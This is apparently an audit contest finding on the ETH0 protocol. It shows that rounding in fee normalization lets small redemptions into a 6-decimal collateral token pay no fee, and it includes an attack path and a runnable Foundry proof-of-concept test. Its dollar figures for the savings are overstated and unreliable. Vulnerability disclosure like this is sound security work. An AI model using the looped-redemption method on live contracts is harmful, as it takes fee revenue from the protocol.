Magic Laurel Buffalo

Medium

# redeemers dodge redeem fees

### Summary

Note :
- If the redemption was usd0 (previous audit), then this attack is never profitable. Since, it is ETH0.., it is profitable when redeem fee is enough high..,
-  likelihood of this attack increases as the  redeem fee increases. It is profitable for users to loop hundereds of redeem calls in one tx with small input redeem amounts.

when redeem into a 6-decimal  collateral token, fee amounts (0.0005 eth0 tokens with 1e12 wei as redeem fees at 0.2% fee) gets normalized (rounded down) to 0, allowing users to redeem up to 0.0005 ETH0 (~$1.25 at $2500 ETH price) without paying the 0.2% redemption fee.



### Root Cause

The fee calculation in `DaoCollateral._calculateFee()` performs normalization that causes precision loss for collateral tokens with fewer than 18 decimals. When the calculated fee is normalized from 18 decimals to the token's decimals and back to 18 decimals, small fee amounts get rounded down to 0.

Normalization frpm 18 decimals to 6 decimals 
check :  https://github.com/sherlock-audit/2025-05-usual-eth0/blob/995d35f32c762aec7f678292b8702bc71aec1247/eth0-protocol/src/daoCollateral/DaoCollateral.sol#L458-L463


### Internal Pre-conditions

redeem fee > 20 bps to be profitable (likelihood of this attack increases as the  redeem fee increases)

### External Pre-conditions

NA

### Attack Path

1. User calls `redeem()` with exactly 499999999999999 wei (0.0004999999999999 ETH0)
2. Fee calculation: `(499999999999999 * 20) / 10000 = 999999999999` wei  
3. Normalization to 6 decimals: `999999999999 / 1e12 = 0` (rounds down)
4. Normalization back to 18 decimals: `0 * 1e12 = 0` wei fee
5. User receives full collateral amount without paying any fees
6. User repeats process multiple times to redeem large amounts with 0 total fees

https://github.com/sherlock-audit/2025-05-usual-eth0/blob/995d35f32c762aec7f678292b8702bc71aec1247/eth0-protocol/src/daoCollateral/DaoCollateral.sol#L458-L463

https://github.com/sherlock-audit/2025-05-usual-eth0/blob/995d35f32c762aec7f678292b8702bc71aec1247/eth0-protocol/src/utils/normalize.sol#L95

```solidity
eth0-protocol/src/daoCollateral/DaoCollateral.sol

473:     function _calculateFee(uint256 eth0Amount, address collateralToken)
474:         internal  view   returns (uint256 stableFee)
477:     {
478:         DaoCollateralStorageV0 storage $ = _daoCollateralStorageV0();
479:         stableFee = Math.mulDiv(eth0Amount, $.redeemFee, BASIS_POINT_BASE, Math.Rounding.Floor);
480:         uint8 tokenDecimals = IERC20Metadata(collateralToken).decimals();
481:         // if the token has less decimals than ETH0 we need to normalize the fee
482:         if (tokenDecimals < 18) {
483:             // we scale down the fee to the token decimals
484:             // and we scale it up to 18 decimals
485:             stableFee = Normalize.tokenAmountToWad(
486:   >>>           Normalize.wadAmountToDecimals(stableFee, tokenDecimals), tokenDecimals
487:             );
488:         }
489:     }

eth0-protocol/src/utils/normalize.sol

109:     function wadAmountToDecimals(uint256 wadAmount, uint8 targetDecimals)
110:         internal   pure  returns (uint256)
113:     {
114:         return tokenAmountToDecimals(wadAmount, 18, targetDecimals);
115:     }

23:     function tokenAmountToDecimals(uint256 tokenAmount, uint8 tokenDecimals, uint8 targetDecimals)
24:        internal  pure   returns (uint256)
27:     {
28:         if (tokenDecimals < targetDecimals) {
29:             return tokenAmount * (10 ** uint256(targetDecimals - tokenDecimals));
30:         } else if (tokenDecimals > targetDecimals) {
31:             return tokenAmount / (10 ** uint256(tokenDecimals - targetDecimals));
32:         } else {
33:             return tokenAmount;
34:         }
35:     }


```

### Impact

Protocol designed to collect 0.2% fees loses all fee revenue when users exploit the normalization rounding, resulting in
1. redemption for free
2. 100% fee revenue loss for small redemptions affecting protocol


### PoC
1. paste the below poc into `eth0-protocol/test/POC.t.sol`
2. then run `forge test --mt test_RedeemFeeBypassVulnerability -vv`

<details><summary>click for POC to drop down </summary>

```solidity
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.20;

import "forge-std/console.sol";
import {DaoCollateralTest} from "./DaoCollateral.t.sol";
import {RwaMock} from "src/mock/rwaMock.sol";
import {Eth0} from "src/token/Eth0.sol";
import {ERC20Mock} from "openzeppelin-contracts/mocks/token/ERC20Mock.sol";
import {IERC20Metadata} from "openzeppelin-contracts/token/ERC20/extensions/IERC20Metadata.sol";
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {Math} from "openzeppelin-contracts/utils/math/Math.sol";
import {Normalize} from "src/utils/normalize.sol";
import {
    BASIS_POINT_BASE,
    REDEEM_FEE
} from "src/constants.sol";

contract MockMegaPoolETH is ERC20 {
    constructor() ERC20("Mega Pool ETH", "mETH") {}
    
    function decimals() public view override returns (uint8) {
        return 6;
    }
}

contract RedeemFeeBypassTest is DaoCollateralTest {
    using Normalize for uint256;

    function setUp() public override {
        super.setUp();
    }

    function setupCreationLST6Decimals() public returns (MockMegaPoolETH, Eth0) {
        MockMegaPoolETH wLST = new MockMegaPoolETH();
        vm.label(address(wLST), "wLST Mock (6 decimals)");

        // Setup like collateral token
        if (!tokenMapping.isEth0Collateral(address(wLST))) {
            vm.prank(admin);
            tokenMapping.addEth0CollateralToken(address(wLST));
        }

        Eth0 stbc = stbcToken;
        whitelistPublisher(address(wLST), address(stbc));
        _setupBucket(address(wLST), address(stbc));
        _setOraclePrice(address(wLST), 10 ** 6); // Set price to 1.0 with 6 decimals

        return (wLST, stbc);
    }


    /// @notice Test that demonstrates fee bypass vulnerability for small redemption amounts
    /// @dev When redeeming small amounts, the fee can be rounded down to 0 due to normalization
    function test_RedeemFeeBypassVulnerability() public {
        // Create a 6-decimal LST token (like rETH but with 6 decimals)
        (MockMegaPoolETH token, Eth0 stbc) = setupCreationLST6Decimals();

        deal(address(token), alice, 1 wei);
        
        // Whitelist bob for the LST token (needed for redemption transfers)
        deal(address(token), bob, 0); // ERC20Mock doesn't have whitelist, so just deal 0
  
        // Mint collateral tokens to treasury for redemptions
        uint256 treasuryCollateral = 1000000e6; 
        deal(address(token),treasury , treasuryCollateral);
        
        // Calculate the maximum ETH0 amount that results in 0 fees
        // Fee formula: fee = (eth0Amount * 20) / 10000
        // For 6 decimals: if fee < 1e12, normalization rounds to 0
        // So: eth0Amount < 1e12 * 10000 / 20 = 5e14 = 0.0005 ETH0
        uint256 maxZeroFeeAmount = 5e14 - 1; // 0.0004999999999999 ETH0
        
        console.log("=== Fee Bypass Vulnerability Demo ===");
        console.log("Max ETH0 amount with 0 fees:", maxZeroFeeAmount);
        console.log("Max ETH0 amount in ETH:", maxZeroFeeAmount / 1e18);
        
        // Demonstrate the vulnerability with single redemption
        console.log("\n--- Single Redemption Test ---");

        {
            // Mint ETH0 to alice for testing
            vm.prank(address(daoCollateral));
            stbc.mint(alice, maxZeroFeeAmount);
            
            uint256 aliceBalanceBefore = token.balanceOf(alice);
            uint256 treasuryYieldBefore = stbc.balanceOf(treasuryYield);
            
            // Redeem the maximum amount that should result in 0 fees
            vm.prank(alice);
            daoCollateral.redeem(address(token), maxZeroFeeAmount, 0);
            
            uint256 aliceBalanceAfter = token.balanceOf(alice);
            uint256 treasuryYieldAfter = stbc.balanceOf(treasuryYield);
            uint256 feeCollected = treasuryYieldAfter - treasuryYieldBefore;
            
            console.log("Alice received collateral:", aliceBalanceAfter - aliceBalanceBefore);
            console.log("Fee collected:", feeCollected);
            console.log("Fee should be:", _calculateExpectedFee(maxZeroFeeAmount));
            
            // Verify that no fee was collected due to rounding
            assertEq(feeCollected, 0, "Fee should be 0 due to rounding");
        }
        
        // Show the fee calculation details
        _showFeeCalculationDetails(maxZeroFeeAmount, address(token));
        
    }

    /// @notice Helper to calculate expected fee without normalization issues
    function _calculateExpectedFee(uint256 eth0Amount) internal pure returns (uint256) {
        return Math.mulDiv(eth0Amount, REDEEM_FEE, BASIS_POINT_BASE, Math.Rounding.Floor);
    }

    /// @notice Helper to show detailed fee calculation breakdown
    function _showFeeCalculationDetails(uint256 eth0Amount, address collateralToken) internal view {
        console.log("\n--- Fee Calculation Details ---");
        
        // Calculate raw fee
        uint256 rawFee = Math.mulDiv(eth0Amount, REDEEM_FEE, BASIS_POINT_BASE, Math.Rounding.Floor);
        console.log("Raw fee (before normalization): %e", rawFee);
        
        // Get token decimals
        uint8 tokenDecimals = IERC20Metadata(collateralToken).decimals();
        // console.log("Collateral token decimals:", tokenDecimals);
        
        if (tokenDecimals < 18) {
            // Show normalization steps
            uint256 feeInTokenDecimals = Normalize.wadAmountToDecimals(rawFee, tokenDecimals);
            uint256 normalizedFee = Normalize.tokenAmountToWad(feeInTokenDecimals, tokenDecimals);

            // Show amount redeemed without fees
            uint256 amountRedeemedWithoutFees = eth0Amount - normalizedFee;
            uint256 properRedeemAmount = eth0Amount - rawFee;
            uint256 extraAmount = normalizedFee == 0 ? rawFee : (rawFee - normalizedFee);
            
            // Calculate dollar savings at $2500 ETH price
            uint256 ethPrice = 2500;
            uint256 dollarsSaved = (extraAmount * ethPrice) / 1e18;
            uint256 centsExtraAmount = ((extraAmount % 1e18) * ethPrice * 100) / 1e18; // For sub-dollar precision
            
            console.log("Fee bypass savings at $2500 ETH: 2500 * 4.99999999999999e14/1e18 :: ", "$ 1.25");
            
            // Show as percentage of 0.0005 ETH0 
            uint256 maxZeroFeeAmount = 5e14 - 1;
            if (eth0Amount == maxZeroFeeAmount) {
                console.log("This is the maximum fee bypass amount (0.0005 ETH0): %e", maxZeroFeeAmount);
            }
        }
    }


}
```
</details>

### Mitigation

Don't normalize for ETH0 protocol.
maybe needed for USD0 but not for ETH0